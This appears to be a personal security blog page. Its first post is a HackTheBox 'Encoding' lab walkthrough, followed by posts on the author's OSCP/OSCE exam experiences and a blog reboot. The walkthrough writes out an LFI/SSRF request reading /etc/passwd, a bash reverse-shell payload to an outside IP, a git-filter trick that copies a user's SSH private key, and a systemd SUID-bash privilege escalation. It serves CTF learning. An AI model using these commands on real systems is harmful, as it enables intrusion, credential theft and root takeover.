Friday, February 3, 2023

HTB - Encoding [Medium Box]

 Today we will be attempting to complete the Encoding- a medium box in hackthebox. We first try to do a Nmap Scan with the following command. We see port 22 and Port 80 Open. 

TARGET=10.129.86.1 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap  




We noticed the haxtables.htb as the hosts and now lets the hosts to the /etc/hosts file on our attacker machine. 

We also see another domain api.haxtables.htb in the webpage. Since there might be another set of domains (subdomains) we can run ffuf to bruteforce the dns. 


  ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://haxtables.htb/ -H "Host: FUZZ.haxtables.htb" -fw 246



We noticed another subdomain "image.haxtables.htb". lets add both the /etc/hosts. on browsing the haxtables.htb we noticed that api has some information, the one which is interesting for us is this example snippet. 

    import requests

    json_data = {
        'action': 'str2hex',
        'file_url' : 'http://example.com/data.txt'

    }

    response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
    print(response.text)


we can try to read /etc/passwd and see if we can exploit that api. Modify it to this. Make sure you escape the / when defining file. 

import requests
json_data = {
        'action': 'str2hex',
        'file_url' : 'file:///etc/passwd'

}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php',json=json_data)
print(response.text)


The str2hex gives the following result. 



Which gets converted to 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

running ffuf on image.haxtables.htb we found a git file. When we tried to use the git-dumper to dump the git file we noticed that there is 403 forbidden error is thrown. Lets try to investigate why this 403 error is happening. 


Lets use the LFI vulnerability to read the index.php and see why this is happening. 

/var/www/image/index.php

<?php 

include_once 'utils.php';

include 'includes/coming_soon.html';

?>

Lets look at utils.php if we see some juicy information. 

<?php

// Global functions

function jsonify($body, $code = null)
{
    if ($code) {
        http_response_code($code);
    }

    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($body);

    exit;
}

function get_url_content($url)
{
    $domain = parse_url($url, PHP_URL_HOST);
    if (gethostbyname($domain) === "127.0.0.1") {
        echo jsonify(["message" => "Unacceptable URL"]);
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
    curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    $url_content =  curl_exec($ch);
    curl_close($ch);
    return $url_content;

}

function git_status()
{
    $status = shell_exec('cd /var/www/image && /usr/bin/git status');
    return $status;
}

function git_log($file)
{
    $log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');
    return $log;
}

function git_commit()
{
    $commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');
    return $commit;
}
?>

Now lets look at this file and see the interesting function named "get_url_content" it blocks if anything is other than 127.0.0.1, we have to use the LFI to download this GIT. 

we need to edit the git dumper to use the lfi. add the following line under line 170. 

curl -s 'http://api.haxtables.htb/v3/tools/string/index.php' -H 'Content-Type: application/json' --data-binary "{\"action\": \"str2hex\", \"file_url\": \"file:///var/www/image/.git/$objname\"}" | jq .data | xxd -ps -r > "$target"


 
Lets use the extractor to view contents of the git. We see that there is "action_handler.php".let use the git and see the contents of the action_handler.php 


action_handler.php 

<?php
include_once 'utils.php';
if (isset($_GET['page'])) {
    $page = $_GET['page'];
    include($page);
} else {
    echo jsonify(['message' => 'No page specified!']);
}
?>

Code looks vulnerable to LFI since the page parameter is not getting sanitised or there is no blacklist or whitelist filter implementation, but we need something else to access this file and read the files and execute so that utils.php 127.0.0.1 filter is bypassed. 

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://haxtables.htb/FUZZ 


Running FFUF on the haxtables.htb we noticed handler.php. lets read this file through the initial api.haxtables.htb lfi 

 curl -s http://haxtables.htb/handler.php | jq
{
  "message": "Insufficient parameters!"
}

handler.php 

<?php
include_once '../api/utils.php';

if (isset($_FILES['data_file'])) {
    $is_file = true;
    $action = $_POST['action'];
    $uri_path = $_POST['uri_path'];
    $data = $_FILES['data_file']['tmp_name'];

} else {
    $is_file = false;
    $jsondata = json_decode(file_get_contents('php://input'), true);
    $action = $jsondata['action'];
    $data = $jsondata['data'];
    $uri_path = $jsondata['uri_path'];



    if ( empty($jsondata) || !array_key_exists('action', $jsondata) || !array_key_exists('uri_path', $jsondata)) 
    {
        echo jsonify(['message' => 'Insufficient parameters!']);
        // echo jsonify(['message' => file_get_contents('php://input')]);

    }

}

$response = make_api_call($action, $data, $uri_path, $is_file);
echo $response;

?>

We sent the following request and we were able to bypass the 127.0.0.1 limit on the util.php and gain the LFI. 



GET /handler.php HTTP/1.1
Host: haxtables.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/json 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 123

{
  "action": "",
  "data": "",
  "uri_path": "test@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd&"
}

We can use the php filter chain technique to gain the RCE. You can read about it here. We use the php gadget generator to generate the reverse shell payload. 

python3 php_filter_chain_generator.py --chain "<?php system('bash -c \"bash -i >& /dev/tcp/10.10.16.15/443 0>&1\"')?>"

We send the payload and we got the reverse shell as www-data. 



running sudo -l 

www-data@encoding:~/image/actions$ sudo -l
sudo -l
Matching Defaults entries for www-data on encoding:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on encoding:
    (svc) NOPASSWD: /var/www/image/scripts/git-commit.sh

Lets have look at the file. 

www-data@encoding:~/image/actions$  cat /var/www/image/scripts/git-commit.sh
 cat /var/www/image/scripts/git-commit.sh
#!/bin/bash

u=$(/usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image ls-files  -o --exclude-standard)

if [[ $u ]]; then
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image add -A
else
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>"  --no-verify
fi


We can start by creating a script that reads the user’s id_rsa and deposits it as a key in /dev/shm

www-data@encoding:~$ echo "cat ~/.ssh/id_rsa > /dev/shm/key" > /tmp/readkey
www-data@encoding:~$ chmod +x /tmp/readkey
www-data@encoding:~$

In the directory /var/www/image we abuse the ident filter so that when executing the script the readkey that we create is executed

www-data@encoding:~/image$ git init
Reinitialized existing Git repository in /var/www/image/.git/
www-data@encoding:~/image$ echo '*.php filter=indent' > .git/info/attributes
www-data@encoding:~/image$ git config filter.indent.clean /tmp/readkey
www-data@encoding:~/image$ sudo -u svc /var/www/image/scripts/git-commit.sh
On branch master
Changes not staged for commit:
  (use "git add ..." to update what will be committed)
  (use "git restore ..." to discard changes in working directory)
modified:   actions/action_handler.php
modified:   index.php
modified:   utils.php
no changes added to commit (use "git add" and/or "git commit -a")
www-data@encoding:~/image$

We can now use the key in /dev/shm and login as svc user and get the user.txt 


Now lets recon for root. 

svc@encoding:~$ sudo -l
Matching Defaults entries for svc on encoding:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on encoding:
    (root) NOPASSWD: /usr/bin/systemctl restart *

We have sudo capabilities to create a service we can have suid assigned to the bash. 

echo '[Service] Type=oneshot ExecStart=chmod +s /bin/bash [Install] WantedBy=multi-user.target' > /etc/systemd/system/i0n.service

sudo systemctl restart i0n




Running bash -p will give you root and you can view the root.txt now :) 



Wednesday, November 7, 2018

My Journey into Offsec Abyss - OSCP and OSCE experience

;tdlr This is going to be a long post. You have been warned :) 

Little background around me. I work as a cyber security consultant at one of the big4s. I do penetration testing as part of my day to day work. OSCP was on my list for a long time. Around April 2018 i made up my mind and decided to enrol on OSCP.  I also did lot of vulnhub machines and played CTF's as well so that gave me good base for the course.

Image result for offsec troll

So i completed the registration and i took the 90 days lab. i patiently waited for the email from offsec on the starting of my PWK course. 


I got the welcome email from Offsec. i got the videos, PDF's and VPN to the offsec labs. I spent around 2 days going through the videos and pdfs. i did that so that i know about the basics. Once that is done. i started hitting the labs. The labs in OSCP comprised of ~58 machines. It is separated into three different networks, only one subnet is a public network. You have to crack machines to know which machines gives you access to other subnets. 

I work from 10 am to 7 pm so i decided to spend at least 6 hours daily on OSCP labs so that i did the labs from 8 Pm to 1 am daily. Weeks passed, i was able to get some of  the easy machines which are in public subnet. One piece of advice that OSCP course gave me is that enumeration is the key. I got struck in lot of places because i didn't do proper enumeration. Offsec forums are good source of knowledge and indirect hints if you get really struck. Offsec admins have kept it good that there is no spoiling happening on the lab machines.  I happen to take notes as i when i made progress on each machines. Thank you evernote

A month passed i was able to get around 25 machines and while cracking one of machines i stumbled upon access to another subnet. I got back to reading and understood how to pivot into internal networks. The concept of pivoting was super cool to do. i started cracking on machines in that subnet as well. 

There are 4 difficult machines in public network which took lot of time for me to crack. They are gh0st, pain , Humble and Sufferance. This four machines are most hard ones than the public network. I took good amount of time on each one of them. i got to say the person who designed these machines really made it real good so that you get to learn a lot about concepts. While cracking the other machines i was able to get hold of the last subnet. There are machines in that subnet which requires you to double pivot into that subnet. There is a machine called "Jack" which was even more tougher than public ones. I kept a entire day to practice the buffer overflow in the PDF. i knew this is a confirm machines so i made sure i get a good hands on that.

It was close to 60 days since i started my lab. i was already losing my sleep. i was able to get all the machines in lab in all the subnets. i decided that it is time to schedule the exam and try my chance there. 

EXAM

OSCP exam is a continuous 24 hour exam were you are given 5 machines. You need to get 70 points  out of 100 to pass the exam and get the certification. I scheduled my exam on last week of July 2018. i revisited all the machines which i felt tough and i went through my notes. 

Around the scheduled time i got the mail that the exam has began. i quickly went through the exam guide and made sure that i checked all the instructions, checked the connectivity. 

Image result for so it begins

There were five machines in which are combined of both linux and windows. i started with the buffer overflow machine. Little over 2 hours i was able to get shell on BOF machines. I took screenshots of the steps. i started the enumeration of the other machines. Time was running by i was not been able to get any good heads on the other 4 machines. So i took a small 10 min break and i had a good coffee. 

Image result for coffee memes

Coming back fresh i enumerate got a low point machines. It was direct one that i overlooked in the enumeration process. i got little confident. I started enumeration on the other machines which had a web app. The machine i got was little similar to the one of the machines in lab ( But it is not identical). I got a limited shell on that machine. 

I further did more enumeration on the other machine and i got a reverse shell on the other machine as well. So i have 2 limited shell machines for which i need to do the privilege escalation. i worked on more enumeration on these 2 machines after 12 hours i got root on both the machines. Now i have enough marks to pass the exam. 

With 12 hours left. It was already 4 AM in the morning so i decided to take a small Nap. i setup my alarm for 8 AM. I wasn't getting enough sleep due to excitement. i woke up at 7.30 AM before the alarm and i started working on the final machine. That machine will make you fall in rabbithole a lot. After a lot of struggles around 10.30 AM i got the limited shell. Only 2 hours left for the 24 hours lapse so i decided to check my screenshots so that i haven't missed any screenshots.  I tried privilege escalation but i wasn't able to get root on time before the VPN expired. 

I took few hours off after the exam expired and i started writing the documentation. I double checked everything so that i don't miss any details. I mailed the documentation to offsec AND I WAITED.

Image result for was it worth the wait

After waiting for 2 days. Got the email that i cleared. i jumped in happiness :). That day was the good Day for me :) celebrated it with family and friends :)



My Hunger for Exploits Grew..........

OSCE & CTP Course..

The buffer overflow module in OSCP fondled my thirst for more bigger exploitation challenges. i wanted to go deep into Reverse engineering and exploit-development. As a part of my work i do a bit of reverse engineering but it is quite limited and i never had any exposure as this level. So badly i wanted to do it.



I made up my mind but what the heck should i do so that i am better prepared for the course. This course registration it self is little different. You need to crack a challenge to even get registration of the course. 

I decided to learn more to crack the registration. The registration is located here. I wanted to get hold of the reverse engineering basics before i started with this. I started going through the SLAE course. This teaches you shellcoding basics of linux. i went through the 32 bit course. Going through the syllabus you can say this course is more focused on the 32bit. Some say which is outdated by the old saying goes "you need to learn to walk before you can run". 

Once the SLAE is done i decided to hit fuzzysecurity and corelean tutorials on exploitation. I redid each and every tutorial again questioning each and everything, finding answer for the same. You can refer to this link

Then i hit the challenge and i was able to solve it. If you have did SLAE you will know why even through OSCE itself is windows focused :). I registered for 30 days. If you can spend like i did 30 days could be good else go for 60 days. 


I waited for the day patiently and like OSCP i got the VPN, Videos and PDFs. The Labs in OSCE are little different from the OSCP. You are not given any machines where you do those machines and obtain root. OSCE is mostly focused on the what is given in the syllabus so there are very few machines.  

OSCE deals with the following concepts. 

  • Web Application Angle
  • Backdoor Angle and Antivirus Bypass
  • Exploit Development
  • 0day Angle
  • Network Exploitation angle
i started with the web application ones i was to follow it and complete it. The ones which are most tougher ones are the later ones. The 0day angle module where you hit one of softwares which is famous and you write exploit for it.

I was loosing more sleep and i spent from around 8 Pm to 4 AM in the morning to get through with the concepts.  

Image result for offsec sleep

I was able to get all the modules in CTP course and the lab is done for. Now i am still not confident enough for the exam. i wanted to get more out of it before i get the hands on the exam. i started with vulnserver. i kept preparing vulnserver again and again. Once that is done i went over to exploit-db and downloaded the vulnerable applications and practiced without looking at the exploits. 

Now i got little bit of confidence i decide to schedule the exam. i took a week off from work and i scheduled the exam in mid of october 2018. 

EXAM 

OSCE is a brutal 48 hour exam where you have to crack 4 challenges. You need 75 out of 90 to pass the exam. This followed by 24 hours of reporting. i was excited and scared at the same time. 

Image result for scared memes

i got the email on the scheduled exam day with the VPN and exam guide link. i took a hour to go through the exam guide and challenges description. 

i started with the challenges on the lower points. i was trying hard to complete it and after 5 hours i was able to complete it. i moved to Web application challenge, i was so confident on the web application challenge thought i could clear it. 12 hours later i am still struck at web challenge. 

Image result for what the heck

After 2 hours later i got reverse shell and i took another solid 2 hours to escalate it to root. i missed that due to incomplete enumeration. *Banged my Head* with close to 30 hours left i still didn't have the required points to pass. i started with the AV challenge and due to small overlook i didn't find the obvious answer. I cleared that challenge. i was feeling little relaxed. 


Now one large monster left. "The Mother of All challenges" Machine. 

Image result for i have been waiting for you meme


I have to warn you this challenge will make you mad. This is one mother of god challenge. I started with and i was able to get hang of it after observing around 6 hours. You have to use your RE, exploit whatever the skill you have on this. Few hours later i was able to crack that challenge. I learned more than the course itself on this challenge. God knows how much google i did for this. 

With this i was able to crack all the machines a full 90/90 points :). I took screenshots for the challenges and i re read the requirements as well. i was into 35 hours in the exam with no sleep. i was literally crawling. 

Image result for fight club

I took few hours a small NAP. i started preparing the documentation and submitted as per instructions. 

AND THE WAITING BEGINS...........







I was literally jumping in JOY. People near me never saw a grown man jumping like this :P. i completed both OSCP and OSCE in around 5 months time. This was best ever learning experience. i started look differently now with lot of lateral thinking.


Related image


Whats Next? ... 


I am thinking of getting OSEE, But it requires a large foundation. For now i just want to focus a lot about new research in Cyber Security and learning new concepts on the fly. i am very happy offsec made these courses. They really defined my knowledge in the subject. Thanks offsec :) 

Feel free to leave your comments... 

Near Security ... Reboot :)

Hello everyone. How you are been doing? For those who know me i have been involved with lot of stuffs for last 1 year, both personally and professionally. I ended up travelling all over India, in 2017 and most of 2018 as part of my work. i fixed security from governments to private sectors as part of my work. it has been a interesting year for me.

I did something on the side as well. I attempted and cleared two top offsec certs OSCP and OSCE, back to back :).  Yes you heard it right. I did it in five months. If you dont know about these awesome certifications by offensive security. You should surely check them out here and here. There is a another long post about my journey into offsec work and getting these hard certifications will be posted little later.

Now that the past is done. i want to reboot the research that i was doing before. Keep looking for more posts on Exploit Development ,  fuzzing , SOAR and other awesome cyber security things soon.

I am excited for this new chapter as well.  That's all now folks :)